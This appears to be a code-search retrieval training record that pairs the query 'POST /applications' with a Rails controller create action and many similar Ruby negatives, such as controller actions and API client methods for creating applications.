"0.6986839",
"0.6969346",
"0.6949359",
"0.6949257",
"0.69272435",
"0.69122726",
"0.6909025",
"0.68781245",
"0.6819554",
"0.6777032",
"0.6771468",
"0.6746903",
"0.67235416",
"0.6709026",
"0.6677438",
"0.66183364",
"0.6605014",
"0.6600623",
"0.6586093",
"0.6582629",
"0.6566606",
"0.6553393",
"0.6522859",
"0.65138257",
"0.65108037",
"0.6501785",
"0.6495518",
"0.647282",
"0.64640707",
"0.64256495",
"0.6425354",
"0.64250505",
"0.6423765",
"0.64202",
"0.6412585",
"0.6405411",
"0.63995767",
"0.6398386",
"0.6395519",
"0.63820857",
"0.63803756",
"0.63803756",
"0.63803756",
"0.63703936",
"0.63413423",
"0.6333906",
"0.63214713",
"0.63019866",
"0.6269857",
"0.6250639",
"0.62342185",
"0.62289995",
"0.62240374",
"0.6205577",
"0.6202669",
"0.61988467",
"0.61973995",
"0.6190268",
"0.6187315",
"0.6175883",
"0.61717933",
"0.61717933",
"0.6164357",
"0.6164357",
"0.6164357",
"0.6164357",
"0.6164357",
"0.6151633",
"0.6147569",
"0.61465645",
"0.6134174"
] | 0.0 | -1 |
POST /applications POST /applications.json | def create
@application = current_user.applications.new(application_params)
jb_id = params[:j_id]
@application.status = 'Application Submitted'
respond_to do |format|
if @application.save
format.html { redirect_to @application, notice: 'Application was successfully created.' }
format.json { render :show, status: :created, location: @application }
else
@j_id = @application.job_id
format.html { render :new }
format.json { render json: @application.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @application = Application.new(application_params)\n\n if @application.save\n render json: @application, status: :created, location: api_application_path(@application)\n else\n render json: @application.errors.full_messages.join(', '), status: :unprocessable_entity\n end\n end",
"def create\n @app = App.new(app_params)\n\n if @app.save\n render json: @app, status: :created, location: @app\n else\n render json: @app.errors, status: :unprocessable_entity\n end\n end",
"def create\n @application = Application.new(application_params)\n\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, notice: 'Application was successfully created.' }\n format.json { render :show, status: :created, location: @application }\n else\n format.html { render :new }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @application = Application.new(application_params)\n\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, notice: 'Application was successfully created.' }\n format.json { render action: 'show', status: :created, location: @application }\n else\n format.html { render action: 'new' }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @application = Application.new(application_params)\n\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, notice: 'Application was successfully created.' }\n format.json { render :show, status: :created, location: @application }\n else\n format.html { render :new }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"def create(optional_params = {})\n response = Network.post(['Applications'], optional_params)\n Application.new(response)\n end",
"def create\n @application = Application.new(params[:application])\n\n respond_to do |format|\n if @application.save\n format.html {\n flash[:success] = 'Application ' + @application.name + ' was successfully created.'\n redirect_to [:admin, @application]\n }\n format.json { render json: @application, status: :created, location: @application }\n else\n format.html {\n flash[:error] = 'Failed to update application.'\n render action: \"new\"\n }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @application = Application.new(application_params)\n\n respond_to do |format|\n if @application.save\n current_user.application = @application\n current_user.save\n format.html { redirect_to @application, notice: 'Application successfully sent in.' }\n format.json { render :show, status: :created, location: @application }\n else\n format.html { render :new }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @application = Application.create(params[:application])\n\n unless @application.new_record?\n flash[:notice] = 'Application was successfully created.'\n end\n\n respond_with @application\n end",
"def create\n @application = Application.new(application_params)\n\n respond_to do |format|\n if @application.save\n format.html { redirect_to \"/applications/#{@application.id}/step2\", notice: 'Application was successfully created.' }\n format.json { render :show, status: :created, location: @application }\n else\n format.html { render :new }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(options)\n API::request(:post, 'escrow_service_applications', options)\n end",
"def create\n @application = current_user.build_application(application_params)\n\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, alert: 'Your application was successfully created.' }\n format.json { render action: 'show', status: :created, location: @application }\n else\n format.html { render action: 'new' }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_app(name, url)\n JSON.parse((@cloudvox_api[\"/applications/create.json\"].post :call_flow => {:name => name}, :agi => {:url => url}).body)\n end",
"def create\n @app = App.new(app_params)\n\n respond_to do |format|\n if @app.save\n format.html { redirect_to @app, notice: 'App was successfully created.' }\n format.json { render :show, status: :created, location: @app }\n else\n format.html { render :new }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @app = App.new(app_params)\n\n respond_to do |format|\n if @app.save\n format.html { redirect_to @app, notice: 'App was successfully created.' }\n format.json { render :show, status: :created, location: @app }\n else\n format.html { render :new }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @application = Oread::Application.new(application_params)\n @application.owner = current_user\n respond_to do |format|\n if @application.save\n format.html { redirect_to settings_admin_oread_applications_path, notice: 'Application was successfully created.' }\n format.json { render :show, status: :created, location: @application }\n else\n format.html { render :new }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @app = App.new(params[:app])\n\n respond_to do |format|\n if @app.save\n format.html { redirect_to @app, notice: 'App was successfully created.' }\n format.json { render json: @app, status: :created, location: @app }\n else\n format.html { render action: \"new\" }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # Avoid double provisioning: previous url would be \"/provision/new?apps[]=vtiger&organization_id=1\"\n session.delete('previous_url')\n\n @organization = current_user.organizations.to_a.find { |o| o.id && o.id.to_s == params[:organization_id].to_s }\n authorize! :manage_app_instances, @organization\n\n app_instances = []\n params[:apps].each do |product_name|\n app_instance = @organization.app_instances.create(product: product_name)\n app_instances << app_instance\n MnoEnterprise::EventLogger.info('app_add', current_user.id, 'App added', app_instance)\n end\n\n render json: app_instances.map(&:attributes).to_json, status: :created\n end",
"def create\n manifest = JSON.parse(params[:manifest])\n manifest['provider'] = params[:provider]\n puts \"Repository type: #{params[:repository_type]}\"\n @client.app_create(params[:id], params[:repository_type])\n @client.app_add_manifest(params[:id], manifest)\n\n respond_to do |format|\n format.html { redirect_to app_path(params[:id]), notice: 'App was successfully created.' }\n #if @client.app_create(params[:id], manifest)\n # format.html { redirect_to app_path(params[:id]), notice: 'App was successfully created.' }\n # # FIXME format.json { render json: @app, status: :created, location: app_path(params[:id]) } \n #else\n # format.html { render action: \"new\" }\n # format.json { render json: @app.errors, status: :unprocessable_entity } # FIXME\n #end\n end\n end",
"def create\n @newapp = Newapp.new(params[:newapp])\n\n respond_to do |format|\n if @newapp.save\n format.html { redirect_to @newapp, notice: 'Newapp was successfully created.' }\n format.json { render json: @newapp, status: :created, location: @newapp }\n else\n format.html { render action: \"new\" }\n format.json { render json: @newapp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user_application = UserApplication.new(user_application_params)\n\n respond_to do |format|\n if @user_application.save\n format.html { redirect_to @user_application, notice: 'User application was successfully created.' }\n format.json { render :show, status: :created, location: @user_application }\n else\n format.html { render :new }\n format.json { render json: @user_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n create_params = application_params\n if applicant_signed_in?\n create_params[:applicant_id] = current_applicant.id\n end\n @application = Application.new(create_params)\n\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, notice: \"Application was successfully created.\" }\n format.json { render :show, status: :created, location: @application }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @app = current_user.apps.new(params[:app])\n\n respond_to do |format|\n if @app.save\n format.html { redirect_to @app, :notice => \"The application app was successfully created\" }\n format.xml { render :xml => @app, :status => :created, :location => @app }\n else\n format.html { render :action => :new }\n format.xml { render :xml => @app.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n key = application_keys.add(params[:key])\n\n respond_with(key, serialize: application)\n end",
"def create\n @application = Doorkeeper::Application.new(application_params)\n @application.uid = SecureRandom.hex(4)\n @application.owner = current_user if Doorkeeper.configuration.confirm_application_owner?\n\n if @application.save\n flash[:notice] = I18n.t(:notice, scope: %i[doorkeeper flash applications create])\n redirect_to oauth_application_url(@application)\n else\n render :new\n end\n end",
"def create\n @client_application = ClientApplication.new(client_application_params)\n\n respond_to do |format|\n if @client_application.save\n format.html { redirect_to @client_application, notice: 'Client application was successfully created.' }\n format.json { render :show, status: :created, location: @client_application }\n else\n format.html { render :new }\n format.json { render json: @client_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_oauth_application(token, name, redirect_uris)\n request(\n __method__,\n :post,\n \"#{api_base}/oauth2/applications\",\n { name: name, redirect_uris: redirect_uris }.to_json,\n Authorization: token,\n content_type: :json\n )\n end",
"def create_oauth_application(token, name, redirect_uris)\n request(\n __method__,\n :post,\n \"#{api_base}/oauth2/applications\",\n { name: name, redirect_uris: redirect_uris }.to_json,\n Authorization: token,\n content_type: :json\n )\n end",
"def applications_list\n get \"applications\"\n end",
"def create\n @application = Application.new()\n @application.name = params[:application][:name].to_s.downcase\n # true - доступ запрещен, false - разрешен\n @application.default = true\n respond_to do |format|\n if @application.save\n format.html { redirect_to applications_path, notice: 'Приложение создано.' }\n format.json { render json: @application, status: :created, location: @application }\n else\n format.html { render action: \"new\" }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @application = Application.new(application_params)\n # @application.job_id = params[:id]\n @application.user_id = current_user.id\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, notice: 'Application was successfully created.' }\n format.json { render :show, status: :created, location: @application }\n else\n format.html { render :new }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @application = Doorkeeper::Application.new(application_params)\n @application.uid = SecureRandom.hex(4)\n @application.owner = current_user if Doorkeeper.configuration.confirm_application_owner?\n\n if @application.save\n flash[:notice] = I18n.t(:notice, scope: [:doorkeeper, :flash, :applications, :create])\n redirect_to oauth_application_url(@application)\n else\n render :new\n end\n end",
"def create\n authorize! :create, @app\n @app = App.new(app_params)\n\n respond_to do |format|\n if @app.save\n format.html { redirect_to @app, notice: 'App was successfully created.' }\n format.json { render :show, status: :created, location: @app }\n else\n format.html { render :new }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @app = App.new(app_params)\n\n respond_to do |format|\n if @app.save\n flash[:success] = 'App was successfully saved.'\n format.html { redirect_to @app }\n format.json { render :show, status: :created, location: @app }\n else\n flash[:danger] = 'There was a problem creating the App Catalog Page.'\n format.html { render :new }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n authorize @application, policy_class: Oauth::ApplicationPolicy\n @application = Doorkeeper::Application.new(application_params)\n @application.owner = current_user if T.unsafe(Doorkeeper).configuration.confirm_application_owner?\n if @application.save\n flash[:notice] = I18n.t(:notice, scope: [:doorkeeper, :flash, :applications, :create])\n redirect_to oauth_application_url(@application)\n else\n render :new\n end\n end",
"def create\n @application = Doorkeeper::Application.new(application_params)\n @application.owner = current_user if Doorkeeper.configuration.confirm_application_owner?\n if @application.save\n flash[:notice] = I18n.t(:notice, scope: [:doorkeeper, :flash, :applications, :create])\n respond_with( :oauth, @application, location: oauth_application_url( @application ) )\n else\n render :new\n end\n end",
"def create\n\t\t@application = Application.new(params[:application])\n\n\t\tif @application.save\n\t\t\tflash[:developer] = \"Yay! Your application has been registered!\"\n\t\t\tcurrent_developer.applications << @application\n\t\t\t# Randomizer as in http://goo.gl/qpI5Rv\n\t\t\taccess_token = Array.new(32){rand(36).to_s(36)}.join\n\t\t\tkey = ApiKey.create(:access_token => access_token)\n\t\t\tkey.application = @application\n\t\t\tkey.save\n\t\t\tredirect_to developer_home_path\n\t\telse\n\t\t\trender :action => 'register'\n\t\tend\n\tend",
"def create\n megam_rest.post_appreq(to_hash)\n end",
"def create\n @application_form = ApplicationForm.new(application_form_params)\n authorize @application_form\n\n if @application_form.save\n render json: @application_form, status: :created, location: nil\n else\n render json: @application_form.errors, status: :unprocessable_entity\n end\n end",
"def create\n megam_rest.post_appdefn(to_hash)\n end",
"def update_app data={}\n put '/app', data\n end",
"def create\n @app = App.new(app_params)\n @app.count = 0\n @app.uid = SecureRandom.uuid\n respond_to do |format|\n if @app.save\n format.html { redirect_to app_path(uid: @app.uid), notice: 'App was successfully created.' }\n format.json { render :show, status: :created, location: @app }\n else\n format.html { render :new }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\tbegin\n\t\t\tActiveRecord::Base.transaction do\n\t\t\t\t@application = Application.create!(name: params[:name])\n end\n rescue => e #ActiveRecord::RecordNotUnique\n p e.message\n p e.backtrace\n\t\t\tActiveRecord::Rollback\n\t\t\trender plain: e.message, status: :unprocessable_entity and return\n end\n render json:\" Application created with token = #{@application.token}\", status: :created\n end",
"def create\n @application = Application.new(application_params)\n\n if @application.save\n @application.status = Application.where(nursery_id: @application.nursery_id, date: @application.date, status: :appointed).count < @application.nursery.capacity ? :appointed : :waiting\n @application.save\n render :show, status: :created, location: @application\n else\n render json: @application.errors, status: :unprocessable_entity\n end\n end",
"def create_application(client, options)\n if options[:name].nil? or options[:description].nil?\n puts \"Missing arguments\"\n end\n \n application = client.applications.create({\n name: options[:name],\n description: options[:description]\n })\n puts \"Application created.\"\n\n #TODO: Add exception handling\nend",
"def app data={}\n get '/app', data\n end",
"def index\n @applications = Application.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @applications }\n end\n end",
"def create\n @test_app = TestApp.new(test_app_params)\n\n respond_to do |format|\n if @test_app.save\n format.html { redirect_to @test_app, notice: \"Test app was successfully created.\" }\n format.json { render :show, status: :created, location: @test_app }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @test_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @visa_application = VisaApplication.new(visa_application_params)\n\n respond_to do |format|\n if @visa_application.save\n format.html { redirect_to @visa_application, notice: 'Visa application was successfully created.' }\n format.json { render :show, status: :created, location: @visa_application }\n else\n format.html { render :new }\n format.json { render json: @visa_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @application = Application.new(params[:application])\n\n respond_to do |format|\n if @application.save\n format.html do \n redirect_to root_path \n flash[:application_success] = \"true\"\n end\n format.json { render json: @application, status: :created, location: @application }\n else\n format.html do \n render action: \"new\"\n flash[:notice] = 'Looks like there are still some areas to be fixed' \n end \n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @test_app = TestApp.new(test_app_params)\n\n respond_to do |format|\n if @test_app.save\n format.html { redirect_to @test_app, notice: 'Test app was successfully created.' }\n format.json { render :show, status: :created, location: @test_app }\n else\n format.html { render :new }\n format.json { render json: @test_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @admin_app = App.new(admin_app_params)\n\n respond_to do |format|\n if @admin_app.save\n format.html { redirect_to [:admin, @admin_app], notice: 'App was successfully created.' }\n format.json { render :show, status: :created, location: [:admin, @admin_app] }\n else\n format.html { render :new }\n format.json { render json: [:admin, @admin_app].errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @application = Application.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @application }\n end\n end",
"def new\n @application = Application.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @application }\n end\n end",
"def new\n @application = Application.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @application }\n end\n end",
"def create_application!(name: nil, primary_language: nil, version: nil, sku: nil, bundle_id: nil, bundle_id_suffix: nil, company_name: nil)\n # First, we need to fetch the data from Apple, which we then modify with the user's values\n r = request(:get, 'ra/apps/create/?appType=ios')\n data = parse_response(r, 'data')\n\n # Now fill in the values we have\n data['versionString']['value'] = version\n data['newApp']['name']['value'] = name\n data['newApp']['bundleId']['value'] = bundle_id\n data['newApp']['primaryLanguage']['value'] = primary_language || 'English'\n data['newApp']['vendorId']['value'] = sku\n data['newApp']['bundleIdSuffix']['value'] = bundle_id_suffix\n data['companyName']['value'] = company_name if company_name\n\n # Now send back the modified hash\n r = request(:post) do |req|\n req.url 'ra/apps/create/?appType=ios'\n req.body = data.to_json\n req.headers['Content-Type'] = 'application/json'\n end\n\n data = parse_response(r, 'data')\n handle_itc_response(data)\n end",
"def create\n @mobile_app = MobileApp.new(mobile_app_params)\n\n respond_to do |format|\n if @mobile_app.save\n format.html { redirect_to @mobile_app, notice: 'Mobile app was successfully created.' }\n format.json { render :show, status: :created, location: @mobile_app }\n else\n format.html { render :new }\n format.json { render json: @mobile_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @registered_app = RegisteredApp.new(registered_app_params)\n\n respond_to do |format|\n if @registered_app.save\n format.html { redirect_to @registered_app, notice: 'Registered app was successfully created.' }\n format.json { render action: 'show', status: :created, location: @registered_app }\n else\n format.html { render action: 'new' }\n format.json { render json: @registered_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @app = App.new(params[:app])\n\n respond_to do |format|\n if @app.save\n session[:current_api_token] = @app.api_token\n format.html { redirect_to @app, notice: 'App was successfully created.' }\n format.json { render json: @app, status: :created, location: @app }\n else\n format.html { \n @apps = App.all\n render action: \"index\" \n }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @application = Application.new(application_params)\n @application.offer = current_user.offers.find(params.require(:offer)[:id])\n\n # @application.company = Company.new(company_params)\n # @application.contact = Contact.new(contact_params)\n # @application.agent = Agent.find_by(agent_params)\n #\n respond_to do |format|\n if @application.save\n # current_user.applications << @application\n format.html { redirect_to action: :index, notice: 'Application was successfully created.' }\n format.json { render :show, status: :created, location: @application }\n else\n format.html { render :new }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @userapplication = Userapplication.new(userapplication_params)\n\n respond_to do |format|\n if @userapplication.save\n format.html { redirect_to @userapplication, info: 'La aplicación de usuario se creó con éxito.' }\n format.json { render :show, status: :created, location: @userapplication }\n else\n format.html { render :new }\n format.json { render json: @userapplication.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @application.update(application_params)\n render json: @application, status: :ok, location: api_application_path(@application)\n else\n render json: @application.errors.full_messages.join(', '), status: :unprocessable_entity\n end\n end",
"def create\n @phone_app = PhoneApp.new(phone_app_params)\n\n respond_to do |format|\n if @phone_app.save\n format.html { redirect_to @phone_app, notice: 'Phone app was successfully created.' }\n format.json { render :show, status: :created, location: @phone_app }\n else\n format.html { render :new }\n format.json { render json: @phone_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_application_with_http_info(application_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ApplicationManagementApi.create_application ...'\n end\n # verify the required parameter 'application_name' is set\n if @api_client.config.client_side_validation && application_name.nil?\n fail ArgumentError, \"Missing the required parameter 'application_name' when calling ApplicationManagementApi.create_application\"\n end\n # resource path\n local_var_path = '/appManagement/applications'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(application_name)\n auth_names = ['APP_MANAGEMENT', 'OAUTH']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ApplicationSchema')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ApplicationManagementApi#create_application\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create_application_id(application_name)\n applicaiton_id = VaultDriver.generate_uid\n applicaiton_create_uri = URI(@url + \"auth/#{application_name}/map/app-id/#{applicaiton_id}\")\n req = Net::HTTP::Post.new(applicaiton_create_uri)\n req['X-Vault-Token'] = @token\n res = Net::HTTP.start(applicaiton_create_uri.hostname, applicaiton_create_uri.port) do |http|\n req.body = { 'value' => 'root', 'display_name' => application_name.to_s }.to_json\n http.request(req)\n end\n [applicaiton_id, res.code.to_i]\n end",
"def create\n @project_application = ProjectApplication.new(project_application_params)\n\n respond_to do |format|\n if @project_application.save\n format.html { redirect_to @project_application, notice: 'Project application was successfully created.' }\n format.json { render :show, status: :created, location: @project_application }\n else\n format.html { render :new }\n format.json { render json: @project_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @application = Application.new(params[:application])\n\n respond_to do |format|\n if @application.save\n Notifier.application_confirmation(@application).deliver\n format.html { render 'application_success', :locals => { :first_name => @application.first_name } }\n format.json { render json: @application, status: :created, location: @application }\n else\n format.html { render action: \"new\" }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @herga_application = HergaApplication.new(herga_application_params)\n\n respond_to do |format|\n if @herga_application.save\n format.html { redirect_to @herga_application, notice: 'Herga application was successfully created.' }\n format.json { render :show, status: :created, location: @herga_application }\n else\n format.html { render :new }\n format.json { render json: @herga_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def apply(application, params={})\n response = @http.post(\"/application/submit\", application.to_xml)\n check_status(response)\n response_application_parser.parse(response.body).first\n end",
"def create_app app_name, dev_name, dev_email\n data[:app_name] = app_name\n data[:dev_name] = dev_name\n data[:dev_email] = dev_email\n end",
"def applications\n Application.from session.get 'operations/application', API_V1\n end",
"def index\n @applications = Application.all\n\n respond_to do |format|\n format.html # index.html.haml\n format.json { render json: @applications }\n end\n end",
"def create\n @app = App.new(params[:app])\n\n respond_to do |format|\n if @app.save\n format.html { redirect_to(@app, :notice => 'App was successfully created.') }\n format.xml { render :xml => @app, :status => :created, :location => @app }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @app.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @app = App.new(params[:app])\n\n respond_to do |format|\n if @app.save\n format.html { redirect_to(@app, :notice => 'App was successfully created.') }\n format.xml { render :xml => @app, :status => :created, :location => @app }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @app.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @app = App.new(params[:app])\n\n respond_to do |format|\n if @app.save\n flash[:notice] = 'App was successfully created.'\n format.html { redirect_to(app_path(@app)) }\n format.xml { render :xml => @app, :status => :created, :location => @app }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @app.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n megam_rest.post_marketplaceapp(to_hash)\n end",
"def create\n megam_rest.post_marketplaceapp(to_hash)\n end",
"def new\n @newapp = Newapp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newapp }\n end\n end",
"def create\n @app = App.new(params[:app])\n\n respond_to do |format|\n if @app.save\n flash[:notice] = 'App was successfully created.'\n format.html { redirect_to app_activities_path(@app) }\n format.xml { render :xml => @app, :status => :created, :location => @app }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @app.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @task_application = TaskApplication.new(task_application_params)\n\n respond_to do |format|\n if @task_application.save\n format.html { redirect_to @task_application, notice: 'Task application was successfully created.' }\n format.json { render action: 'show', status: :created, location: @task_application }\n else\n format.html { render action: 'new' }\n format.json { render json: @task_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @residential_application = ResidentialApplication.new(residential_application_params)\n\n respond_to do |format|\n if @residential_application.save\n format.html { redirect_to @residential_application, notice: 'Residential application was successfully created.' }\n format.json { render :show, status: :created, location: @residential_application }\n else\n format.html { render :new }\n format.json { render json: @residential_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_application(name, options)\n debug \"Adding application #{name} to domain #{id}\"\n\n payload = {:name => name}\n options.each{ |key, value| payload[key.to_sym] = value }\n\n cartridges = Array(payload.delete(:cartridge)).concat(Array(payload.delete(:cartridges))).map do |cart|\n if cart.is_a? String or cart.respond_to? :[]\n cart\n else\n cart.url ? {:url => cart.url} : cart.name\n end\n end.compact.uniq\n\n if cartridges.any?{ |c| c.is_a?(Hash) and c[:url] } and !has_param?('ADD_APPLICATION', 'cartridges[][url]')\n raise RHC::Rest::DownloadingCartridgesNotSupported, \"The server does not support downloading cartridges.\"\n end\n\n if client.api_version_negotiated >= 1.3\n payload[:cartridges] = cartridges\n else\n raise RHC::Rest::MultipleCartridgeCreationNotSupported, \"The server only supports creating an application with a single web cartridge.\" if cartridges.length > 1\n payload[:cartridge] = cartridges.first\n end\n\n if payload[:initial_git_url] and !has_param?('ADD_APPLICATION', 'initial_git_url')\n raise RHC::Rest::InitialGitUrlNotSupported, \"The server does not support creating applications from a source repository.\"\n end\n\n options = {:timeout => options[:scale] && 0 || nil}\n rest_method \"ADD_APPLICATION\", payload, options\n end",
"def create\n\t\t@application = current_user.collaboration_applications.build(application_params)\n\t\t\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, notice: 'Application was successfully created.' }\n else\n format.html { render partial: 'errors' }\n end\n end\n end",
"def create\n # Receives a Facebook username and a list of Android package names.\n # The list of package names are delimited by newlines.\n \n @user = User.find_for_facebook_token(params[:token].strip)\n\n # List will be delimited by newlines\n packages_list = params[:apps].strip.split(\"\\n\")\n\n # Packages that were successfully associated created with user\n @apps = []\n @user_apps = []\n packages_list.each do |package_name|\n app = App.find(:first, :conditions => [ \"app_id = ?\", package_name ])\n valid_app = !app.nil?\n\n # If app doesn't exist on our system, add it\n if app.nil?\n app = App.new({ app_id: package_name })\n valid_app = app.save\n end\n\n if valid_app\n user_app = UserApp.where(:user_id => @user.id, :app_id => app.id)\n if user_app.size == 0\n user_app = UserApp.new({ user_id: @user.id, app_id: \n app.id, installed: true })\n else\n user_app = user_app[0]\n user_app.installed = true\n end\n if user_app.save\n @apps << app\n @user_apps << user_app\n end\n end\n end\n\n respond_to do |format|\n format.html { redirect_to user_apps_url }\n format.json { render json: { user: @user, apps: @apps }, \n status: :created }\n end\n end",
"def create\n if not view_context.can_apply?\n flash[:error] = 'You are not allowed to create new applications. If you have already applied to the guild, you can find a link to your application on your profile page.'\n redirect_to root_path\n return\n end\n\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, notice: 'Application was successfully created.' }\n format.json { render action: 'show', status: :created, location: @application }\n else\n format.html { render action: 'new' }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @applist = Applist.new(applist_params)\n\n respond_to do |format|\n if @applist.save\n format.html { redirect_to @applist, notice: 'Applist was successfully created.' }\n format.json { render :show, status: :created, location: @applist }\n else\n format.html { render :new }\n format.json { render json: @applist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_app_generate(application_id, type, opts={})\n # \n # default_options = {\n # \"name\" => \"\",\n # \"author\" => \"\",\n # \"description\" => \"\",\n # \"guid\" => \"\",\n # \"datasets\" => \"\",\n # \"env\" => \"prod\",\n # \"image_url\" => \"http://appresource.s3.amazonaws.com/apiappimages/missing_icard.jpg\",\n # \"runtime\" => \"\"\n # }\n # options = default_options.merge(opts)\n return post_response(\"app/#{application_id}/generate/#{type}\", opts,:json)\n end",
"def create(name=nil, options={})\n\t\toptions[:name] = name if name\n\t\txml(post('/apps', :app => options)).elements[\"//app/name\"].text\n\tend",
"def register_application(app_name, namespace, public_hostname)\n # curl -X POST https://dnsapi.cn/Record.Create -d '[email protected]&login_password=password&format=json&domain_id=2317346&sub_domain=@&record_type=A&record_line=默认&value=1.1.1.1'\n\n # create an A record for the application in the domain\n hostname = \"#{app_name}-#{namespace}\"\n url = \"https://dnsapi.cn/Record.Create\"\n params = common_params.merge({\n :domain_id => @domain_id,\n :sub_domain => hostname,\n :record_type => 'A',\n :record_line => '默认',\n :value => public_hostname\n })\n\n res = @http.post(url, params)\n res = JSON.parse(res.content)\n puts res\n\n result = JSON.parse(response.body)\n result.status['message']\n #{\n # \"status\": {\n # \"code\":\"1\",\n # \"message\":\"Action completed successful\",\n # \"created_at\":\"2012-11-23 22:17:47\"\n #},\n # \"record\": {\n # \"id\":\"16894439\",\n # \"name\":\"@\",\n # \"status\":\"enable\"\n #}\n #}\n\n end",
"def create(name=nil, options={})\n\t\tparams = {}\n\t\tparams['app[name]'] = name if name\n\t\txml(post('/apps', params)).elements[\"//app/name\"].text\n\tend",
"def create\n @activity_application = @meetup_event.activity_applications.new(activity_application_params_for_create)\n\n respond_to do |format|\n if @activity_application.save\n format.html {redirect_to [@meetup_event, @activity_application], notice: 'Activity application was successfully created.'}\n format.json {render :show, status: :created, location: meetup_event_activity_application_path(@meetup_event, @activity_application)}\n else\n format.html {render :new}\n format.json {render json: @activity_application.errors, status: :unprocessable_entity}\n end\n end\n end",
"def create\n application = Application.new(app_params)\n if application.save\n flash[:success] = 'Application was successfully created.'\n redirect_to application_path(application)\n else\n error_message = application.errors.full_messages.to_sentence\n flash[:alert] = 'Application could not be created. Do better'\n #another option would be render :new\n redirect_to new_application_path\n end\n end",
